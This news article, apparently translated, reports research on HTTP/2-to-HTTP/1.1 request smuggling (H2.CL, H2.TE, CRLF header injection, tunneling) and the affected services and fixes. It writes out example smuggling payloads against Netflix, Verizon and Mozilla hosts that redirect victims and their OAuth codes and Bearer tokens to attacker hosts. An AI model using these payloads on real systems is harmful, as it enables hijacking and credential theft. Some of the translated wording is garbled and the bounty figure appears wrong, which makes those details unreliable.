A new attack on front-end-backend systems that allows you to wedge into requests

Web systems in which the frontend accepts connections via HTTP/2 and transmits to the backend via HTTP/1.1 have been exposed to a new variant of the HTTP Request Smuggling attack, which allows, by sending specially designed client requests, to wedge into the content of requests from other users processed in the same flow between frontend and backend. The attack can be used to insert malicious JavaScript code into a session with a legitimate site, bypass access control systems, and intercept authentication parameters.

The problem affects web proxies, load balancers, web accelerators, content delivery systems and other configurations in which requests are redirected according to the front-end-backend scheme. The author of the study demonstrated the ability to attack systems on Netflix, Verizon, Bitbucket, Netlify CDN and Atlassian, and received $56 in vulnerability bounty programs. The problem has also been confirmed in F5 Networks products. Partially the issue affects mod_proxy in the Apache http server (CVE-2021-33193), a fix is ​​expected in version 2.4.49 (the developers were notified of the issue in early May and received 3 months to fix it). In nginx, the ability to specify the "Content-Length" and "Transfer-Encoding" headers at the same time was blocked in the last release (1.21.1). Attack tools have already been added to the Burp toolkit and are available as a Turbo Intruder extension.

The principle of operation of the new method of wedging requests into traffic is similar to the vulnerability identified by the same researcher two years ago, but limited to frontends that accept requests via HTTP/1.1. Recall that in the frontend-backend scheme, client requests are received by an additional node - the frontend, which establishes a long-lived TCP connection with the backend that directly processes requests. Through this common connection, requests from different users are usually transmitted, which follow the chain one after another, separated by means of the HTTP protocol.

The classic “HTTP Request Smuggling” attack was based on the fact that frontends and backends interpret the use of the HTTP headers “Content-Length” (determines the total size of the data in the request) and “Transfer-Encoding: chunked” (allows transferring data in parts) differently . For example, if the frontend only supports "Content-Length" but ignores "Transfer-Encoding: chunked", then an attacker can send a request that both contains the "Content-Length" and "Transfer-Encoding: chunked" headers, but the size is "Content-Length" does not match the size of the chunked chain. In this case, the frontend will process and redirect the request according to the "Content-Length", and the backend will wait for the block to complete based on "Transfer-Encoding: chunked" and the remaining tail of the attacker's request will be at the beginning of the foreign request transmitted next.

Unlike the text protocol HTTP/1.1, which is parsed at the line level, HTTP/2 is a binary protocol and manipulates data blocks of a predetermined size. However, HTTP/2 uses pseudo-headers that correspond to regular HTTP headers. When interacting with the backend via HTTP/1.1, the frontend translates these pseudo-headers into similar HTTP/1.1 HTTP headers. The problem is that the backend makes decisions about parsing the stream based on the HTTP headers set by the frontend, without knowing the parameters of the original request.

Including in the form of pseudo-headers, the values ​​"content-length" and "transfer-encoding" can be transmitted, despite the fact that they are not used in HTTP / 2, since the size of all data is determined in a separate field. However, in the process of converting an HTTP/2 request to HTTP/1.1, these headers are carried over and can confuse the backend. There are two main attack options: H2.TE and H2.CL, in which the backend is misled by an incorrect transfer-encoding or content-length value that does not correspond to the real size of the request body received by the frontend via the HTTP / 2 protocol.

A new attack on front-end-backend systems that allows you to wedge into requests

As an example of an H2.CL attack, the content-length pseudo-header is malformed when sending an HTTP/2 request to Netflix. This request results in the addition of a similar Content-Length HTTP header when accessing the backend via HTTP/1.1, but since the size in Content-Length is less than the actual size, some of the data in the tail is processed as the beginning of the next request.

For example, an HTTP/2 request :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Will send a request to the backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Since the Content-Length is set to 4, the backend will accept only “abcd” as the request body, and process the rest of the “GET /n HTTP/1.1…” as the beginning of the next request bound to another user. Accordingly, the stream will be out of sync, and in response to the next request, the result of processing the fake request will be returned. In the case of Netflix, specifying a third-party host in the "Host:" header in a spoofed request resulted in the response "Location: https://02.rs?x.netflix.com/n" to the client and allowed arbitrary content to be passed to the client, including execute your JavaScript code in the context of the Netflix site.

The second variant of the attack (H2.TE) is associated with the substitution of the "Transfer-Encoding: chunked" header. The use of the transfer-encoding pseudo-header in HTTP/2 is prohibited by the specification and requests with it are prescribed to be treated as incorrect. Despite this, some frontend implementations ignore this requirement and allow the use of the transfer-encoding pseudo-header in HTTP/2, which translates to a similar HTTP header. If the “Transfer-Encoding” header is present, the backend can take it as a priority and parse the data in parts in the “chunked” mode using blocks of different sizes in the format “{size}\r\n{block}\r\n{size} \r\n{block}\r\n0" despite the initial division by overall size.

The presence of such a gap was demonstrated by the example of Verizon. However, the problem concerned the authentication portal and content management system, which is also used by sites such as Huffington Post and Engadget. For example, a client request over HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Caused HTTP/1.1 request to backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length: 10x=

The backend, in turn, ignored the "Content-Length" header and did the splitting in the stream based on "Transfer-Encoding: chunked". In practice, the attack made it possible to redirect user requests to your site, including intercepting requests related to OAuth authentication, the parameters of which appeared in the Referer header, as well as simulating an authentication session and initiating the sending of credentials by the user's system to the attacker's host. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

To attack HTTP/2 implementations that do not allow specifying the transfer-encoding pseudo-header, another method has been proposed that involves substituting the "Transfer-Encoding" header by attaching it to other pseudo-headers separated by a newline character (when converted to HTTP/1.1 in this case, two separate HTTP headers are created).

For example, Atlassian Jira and Netlify CDN (used to serve the Mozilla start page in Firefox) were affected by this problem. Specifically, the HTTP/2 request :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

caused an HTTP/1.1 POST / HTTP/1.1 request to be sent to the backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

Another option for substituting the "Transfer-Encoding" header was to attach it to the name of another pseudo-header or to a string with a request method. For example, when accessing Atlassian Jira, the name of the pseudo-header "foo: bar\r\ntransfer-encoding" with the value "chunked" resulted in the addition of the HTTP headers "foo: bar" and "transfer-encoding: chunked", and specifying in pseudo-header ":method" of the value "GET / HTTP/1.1\r\nTransfer-encoding: chunked" was translated into "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

The researcher who identified the problem also proposed a request tunneling technique to attack the frontends, in which a separate connection to the backend is established for each IP address and the traffic of different users is not mixed. The proposed technique does not allow you to intervene in other users' requests, but it makes it possible to poison the shared cache, which affects the processing of other requests, and allows you to perform substitution of internal HTTP headers used to transfer service information from the frontend to the backend (for example, when authenticating on the frontend side in such headers can send information about the current user to the backend). As an example of applying the method in practice, using cache poisoning, it was possible to gain control over the pages in the Bitbucket service.

Source: opennet.ru

Add a comment